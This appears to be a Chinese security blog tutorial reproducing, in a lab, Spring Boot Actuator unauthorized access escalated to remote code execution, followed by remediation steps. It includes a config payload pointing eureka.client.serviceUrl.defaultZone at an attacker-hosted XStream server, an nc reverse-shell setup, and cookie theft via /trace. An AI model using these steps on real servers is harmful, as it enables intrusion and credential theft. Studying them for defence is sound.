freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring Boot Actuator从未授权访问到getshell
2021-07-28 15:14:40
所属地 湖南省

前言

部门大佬在某src上挖到了这个漏洞,是一个比较老的洞了,我觉得有点意思,就动手在本地搭了个环境测试一下。

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。

如上所示,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

Spring Boot Actuator从未授权访问到getshell327.png

利用思路

① 利用env加refresh进行getshell

② 利用mappings,寻找未授权接口

③利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口。

④ env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小。

⑤ 老外说可以执行sql语句,目前没搞明白

漏洞发现

通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:

① 通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:

Spring Boot Actuator从未授权访问到getshell635.png

②通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):

访问一个随便构造的路径,比如:http:/172.26.2.24:8090/index,出现如下报错页面说明web网站使用了springboot框架(在实际中遇到的大多数都是此类情况)。

Spring Boot Actuator从未授权访问到getshell900.png

综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。

漏洞利用

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

Spring Boot Actuator从未授权访问到getshell1103.png

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的,Spring Boot Actuator从未授权访问到getshell1221.png

/env端点配置不当造成RCE,前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)比如测试前台json报错泄露包名就是使用netflix

Spring Boot Actuator从未授权访问到getshell1319.png

需要以下两个包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

利用python3启动脚本,需要注意两个地方,一个为接收shell的ip和端口,另一个为我们脚本启动的端口,Spring Boot Actuator从未授权访问到getshell1478.png

Spring Boot Actuator从未授权访问到getshell1480.png

Nc监听一个端口用以接收反弹shell,

写入配置,访问/env端点,抓包将get请求改为post请求,post内容为

(该ip为脚本启动的机器的ip)

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell1627.png

然后再访问/refresh,抓包将get请求更改为post请求,post数据随意,

Spring Boot Actuator从未授权访问到getshell1671.png

然后在我们nc的窗口可以看到成功反弹了一个shell回来。

Spring Boot Actuator从未授权访问到getshell1703.png

漏洞修复

作为一名安全dog,不能只挖不修,在项目的pom.xml文件下引入spring-boot-starter-security依赖

<dependency>
  <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Spring Boot Actuator从未授权访问到getshell1904.png

然后在application.properties中开启security功能,配置访问账号密码,重启应用即可弹出。

management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator从未授权访问到getshell2051.png

Spring Boot Actuator从未授权访问到getshell2053.png

禁用接口,则可设置如下(如禁用env接口):

endpoints.env.enabled= false

问题

老外说可以执行sql语句发现执行不了,可能方法没用对,截了个他的图,希望有执行成功的大佬分享下。Spring Boot Actuator从未授权访问到getshell2159.png

实际环境中,发现很多无refresh ,导致无法执行命令目前还没突破

前方高能:同款实验get

Springboot未授权访问(Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息从而导致信息泄露的事件发生)

# web安全 # 系统安全 # 数据安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录